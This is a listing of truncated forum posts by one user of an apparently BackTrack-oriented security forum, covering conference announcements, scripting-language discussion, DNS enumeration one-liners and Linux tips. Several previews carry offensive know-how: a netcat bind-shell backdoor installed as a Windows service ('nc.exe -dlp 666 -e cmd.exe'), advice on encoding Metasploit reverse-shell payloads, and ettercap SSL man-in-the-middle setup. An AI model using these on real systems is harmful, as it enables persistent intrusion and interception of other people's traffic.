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    Re: Question - Remote SSH in BT4 R2

    I suppose you are able to start your sshd on BT4rc2?

    ON BT: First add a new user, edit sshd_config and remove rootlogin, restart sshd



    root@bt:~# adduser testssh
    Adding user `testssh' ......
  2. Discussioni: BruCON

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    BruCON reminder

    Holaz,

    Just a quick reminder (and minor spam ;)).
    -The program for BruCON is up at the Con's site: BruCON 2009 and it's looking cool.
    - Check out the Brucon Podcast at iTunes.
    -Ziplock and...
  3. Discussioni: Python vs Ruby

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    I wouldn't exactly say it's "simple" ;). Ruby...

    I wouldn't exactly say it's "simple" ;).
    Ruby and Python are both intuitive, or let's say "easy to read". The main difference is that Ruby is completely Object Oriented and Python isn't (not...
  4. Discussioni: shell sweetness

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    and some more...

    #multiprocess forward lookup / take dns.txt file from dnsenum
    awk '{print $0.".microsoft.com"}' dns.txt | xargs -n1 -P0 host | grep address
    #multiprocess reverse lookup class B
    echo...
  5. Discussioni: ETTERCAP - Buggy

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    It's the ssl on the pages that requires login....

    It's the ssl on the pages that requires login. You need to set up ettercap for mitm SSL.

    edit etter.conf (use locate)
    look for iptables under "Linux" and uncomment both lines
    ettercap -T -q -i...
  6. Discussioni: BruCON

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    BruCON

    Hi,

    I hereby take the opportunity to announce a new CON : BruCON (hacking for b33r). The plan is to have a nicely organized (!=defcon) but accessible (!=blackhat) con with great content and good...
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    juggle

    This is actually quite funny. About 6 months ago, i had the same thought and started working on exactly such a proggy. It's not finished yet, but you can download it at http://pwns.in/juggle.rb

    it...
  8. Discussioni: shell sweetness

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    That would be too easy ;) Just practicing my...

    That would be too easy ;)
    Just practicing my shellfu ...
  9. Discussioni: shell sweetness

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    shell sweetness

    enjoy: (it took me about an hour to cook this up)


    wget -q -O - http://www.whatsmypass.com/?p=415 | awk '/td/ && !/(<td>([0-9]|[1-9][0-9]|100|[A-Z].*)<\/td>)/ {gsub(/<[a-zA-Z\/][^>]*>/,"");print...
  10. Discussioni: Beef and vista

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    Check if your IE version has the new built-in...

    Check if your IE version has the new built-in anti XSS stuff.
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    try : man xargs

    try : man xargs
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    Why do you want to connect through your proxy to...

    Why do you want to connect through your proxy to another proxy? The corporate proxy should support ssl as well. (unless you want to proxychain).
    Tunneling ssh straight through a proxy doesn't...
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    changes

    If you specify changes=/changes, it will look for a /changes directory on all mount points. I find this to be more useful than pointing the changes to a specific /dev because this can differ...
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    - just make your own reverse shell with...

    - just make your own reverse shell with metasploit. You can take a payload and specify the output as exe... Then double encode it as described in this thread.
    - Or write your own backdoor
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    Creating a persistent Backdoor by using Windows Services

    Ok, here goes: (be careful with spaces!!!)


    BACKDOOR INSTALLATION

    ------------
    CREATE A NETCAT SERVICE:

    C:\>sc create systemshell binpath= "cmd /C C:\nc.exe -dlp 666 -e cmd.exe" type=own...
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    You don't need programming skillz to do this....

    You don't need programming skillz to do this.
    Once you have a shell you can download/install any program as a service backdoor, including metasploit payloads.
    (You probably know that you can...
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    Backtrack is now ubuntu (and thus debian) based....

    Backtrack is now ubuntu (and thus debian) based. As it has been said before, you can learn linux using any distro, ubuntu being one of the easiest ones. If you really wanna delve into linux, you...
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    Because ESP is not always the same and the jmp...

    Because ESP is not always the same and the jmp ESP address in the particular DLL is (except with vista which has ASLR).
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    C# is really easy. You have the Visual Studio...

    C# is really easy. You have the Visual Studio Express (which is free) that has intellicode and which rocks. Bot C++ and C# are object oriented but I find C# to be more intuitive and user friendly....
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    Some C knowledge is always good of course. It is...

    Some C knowledge is always good of course. It is useful to be able to read C code.
    Hardly no one I know codes in C anymore. There's a reason why there are not many (good) C books.
    Practically...
  21. Discussioni: Fun With Winrar

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    http://osvdb.org/show/osvdb/43439

    http://osvdb.org/show/osvdb/43439
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    Why do you want to do this in bash? IMHO it pays...

    Why do you want to do this in bash?
    IMHO it pays off to learn a (proper) scripting language like perl/python/ruby to do this kind of stuff. It's way more powerful and easier. The time you spend...
  23. Discussioni: Truecrypt

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    truecrypt

    I thought about including it, but
    a) It's quite big
    b) the installer requires to agree on some TOA and automatically installing it would void this, so I just thought: wtf, to hell with it.

    It's...
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    ruby power

    #!/usr/bin/env ruby
    require 'date'
    startdate = Date.new(y=1930,m=1,d=1)
    enddate = Date.new(y=2009,m=3,d=31)
    startdate.step(enddate,1) do |d|
    puts d.strftime('%m%d%Y')
    end
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    Just comment out the RgbPatch line from your...

    Just comment out the RgbPatch line from your xorg.conf.
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